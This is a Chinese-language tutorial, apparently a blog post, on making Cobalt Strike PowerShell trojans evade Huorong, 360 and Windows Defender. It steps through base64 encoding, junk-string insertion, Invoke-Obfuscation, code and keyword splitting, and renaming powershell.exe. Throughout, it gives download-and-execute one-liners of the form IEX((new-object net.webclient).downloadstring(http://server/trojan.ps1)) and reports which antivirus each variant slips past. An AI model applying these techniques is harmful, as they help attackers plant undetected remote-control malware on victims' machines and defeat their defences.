PowerShell免杀

📅 2026/7/5 14:22:24
PowerShell免杀
要知道powershell免杀就要先知道powershell是什么Windows PowerShell是微软发布的一种命令行利用NET Framework的强大功能Windows7及以上的操作系统目前都是自带的先说明下这边的实验环境安装了火绒和360的win11虚拟机各一台生成powershell远控木马这边使用CS进行生成再CS主界面中选择[有效载荷]---[payload生成器]---[PowerShell]上方选择你的监听器根据你的需求选择勾不勾x64我这是选择的时32位注意powershell有两种模式可以选择两种模式的启用方法各不相同powershell模式文本模式需要命令启动powershell command模式命令模式执行其中的命令即可上线这边使用的时powershell模式介绍完毕后接下来进行免杀操作啦1.特征值编码使用转码器进行base64编码[这边使用SuperSoft进行编码这种东西网上一搜一大把]选择base64把powershell中的恶意部分放的到上面的框编码后输出到下面将编码后的部分放回到原本的位置上记得要在下面加上base64的解密代码否则是运行不了的以下是解密代码或者还想深入了解$DoIt [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64string($DoIt))最终结果就像这样做完记得运行一下看是否能够上线我这边是可以上线测试结果火绒未能查杀 360完成查杀2.第二个方法呢就是[添加干扰项]就是一些无意义的代码我们这边现在编码完成的值里添加这就是我添加了干扰项的部分看得出来加了什么嘛为了不影响代码的运行添加了干扰项后还要在后面加上一句$DoIt$DoIt.Replace(你的干扰项,)用来把加进去的干扰项替换成空字符就像这样操作完之后记得运行一下看看是否能够上线一切就绪之后就可以去实验了实验结果火绒未能查杀 360完成查杀添加干扰项这一方法还能在编码之前就添加干扰项也就是先添加干扰项再进行编码注意干扰项不要插到函数里了插到函数里会破坏函数的连接木马就直接废了而且这样操作之后要把替换语法往下挪一行就像这样做完之后不要忘记运行一下看能不能上线哦一切就绪之后就继续去虚拟机里进行试验了测试结果这次火绒和360都查杀成功可喜可贺~3.分离免杀[这个是大招哦]分离免杀也就是加载器免杀是一种非常好用的免杀方式所谓分离免杀就是将恶意代码放到你的服务器上要对方能够访问到对方运行木马是就会从我们的服务器上将恶意代码下载下来并执行下面是分离木马的语法((New-Object System.Net.Webclient).Downloadstring(http://你的服务器地址已经要访问的文件))就像这样因为是在之前制作的木马基础上制作的所以就保留了替换和解密代码测试结果360和火绒均未能查杀木马也是能顶着两位的压力直接上线4.虽然分离查杀已经很权威了但不妨碍还有其它方法[powershell混淆处理]这个就需要很多东西了在有工具的目录里进入cmd命令行然后开启powershell模式然后使用Import-Module ./Invoke-Obfuscation.psd1加载项目并运行Invoke-obfuscation然后设置需要加密的文件set scriptpath powershell的木马源文件路径设置密码set scriptblock你的密码输入 encoding 进入编码模式输入 1-8 任意想要的加密方式加密完成后使用out 你要输出的位置和输出的名称输出文件然后把输出的文件放到环境中测试测试结果很可惜360和火绒都把木马杀掉了5.那么下面还有方法二次开发就是把编码和混淆融合起来先将代码编码再送去加密步骤应该不用多说了就直接拿做好的木马去测试吧测试结果这回是火绒查杀了但360没能查杀或者把前面的方式都结合一下就能都过了呢嘻嘻6.还有狠的[代码拆分]就是把恶意代码拆开来分别做处理比如这样$DoIt1 代码1 $DoIt1 代码2 当然你可以拆成更多就算拆成商鞅夜行开个玩笑对了不要忘了在下面加上$DoIt$DoIt1$DoIt2我这边是第一部分进行了编码第二部分进行编码并进行了分离编码了的话不要忘记加上解码哦就像这样接下来就开始测试啦测试结果360和火绒都未能查杀还有针对Windows defender的免杀[函数替换(特征值替换)]具体呢就是这样把他这些自带的 $*** 全部替换成我们自定义的 $***特别注意[Byte[]]$var_code这里面放的是经过baes64编码后的监听相关的东西特征非常明显所以要对它进行一个转码这一段我就是用脚本了把 [Byte[]]$var_code 里的内容粘贴到里面去(注意不要粘贴到引号)然后就会进行bytes转码用转码后的把原先的替换掉(这个时候就要连引号一起替换掉了)记得要把[System.Convert]::FromBase64Stringbase64解码方式也删除了接下来看效果测试结果360和火绒都完成了免杀但是进行一个base64编码之后就都过了所以做好的免杀过不了别灰心没准修修改改就过了呢还有还有哦[powershell命令免杀]木马原型powershell -nop -w hidden -c IEx((new-object net.webclient).downloadstring(http://你的服务器地址/你的木马名称.ps1))1.垃圾字符绕过就是在执行命令中加上各种没有用的垃圾字符达到绕过的目的比如powershell -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString(http://你的服务器访问地址/你的文件)测试结果360和火绒均完成查杀2.替换绕过把垃圾字符绕过失败的路径复制出来比如中的C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe把这个的末尾修改一下前面添加一个copy比如copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 你的木马名称.txt先把这条命令运行一下然后再运行你的木马名称.txt -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(http://你的服务器地址//你的木马名称.ps1))测试结果火绒和360均完成查杀3.http关键字拆分将http关键字拆的七零八落powershell -nop -w hidden -c $aIEX((New-Object Net.WebClient).DownloadString(ht;$btp://你的服务器地址/你的代码名称.ps1));Invoke-Mimikatz;IEX ($a$b)测试结果还是没能过火绒和360的查杀4.拆分DownloadString关键字powershell $aIEX(New-Object Net.WebClient).Downlo;$b123(http://你的服务器地址/你的木马名称.ps1).Replace(123,adString);IEX ($a$b)测试结果火绒未能完成查杀360完成查杀5.单引号绕过powershell.exe IEX ((new-object net.webclient).downloadstring(ht‘’tp://你的服务器地址/你的木马名称.ps1’))”测试结果emmmmm给我报语法不正确了最简单的果然还是用工具这边用的是[Ladon]emmmmm在我的虚拟机上直接运行不了报错了那么这回就是这些啦